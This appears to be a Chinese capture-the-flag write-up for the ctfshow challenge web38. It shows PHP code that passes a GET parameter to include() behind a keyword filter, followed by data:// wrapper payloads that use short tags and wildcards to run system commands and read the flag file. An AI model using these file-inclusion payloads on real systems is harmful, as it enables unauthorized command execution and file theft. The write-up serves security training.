信息收集
过滤多了php和file
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
解题
更多解法参考 [ctfshow web入门] web37
我们选个最简单的。但是因为php被过滤了我们改用<?= ... ?>
,这个是<?php ... ?>
的简写
?c=data://text/plain,<?= system("ls") ?>
?c=data://text/plain,<?= system("tac fla*") ?>
也可以使用一个?
替代一个字符,绕过过滤
?c=data://text/plain,<?= system("tac ?lag.p?p") ?>
flag.php文件的第一行是<?php
,最后是不是多了个.php
啊。
web37 目录 web39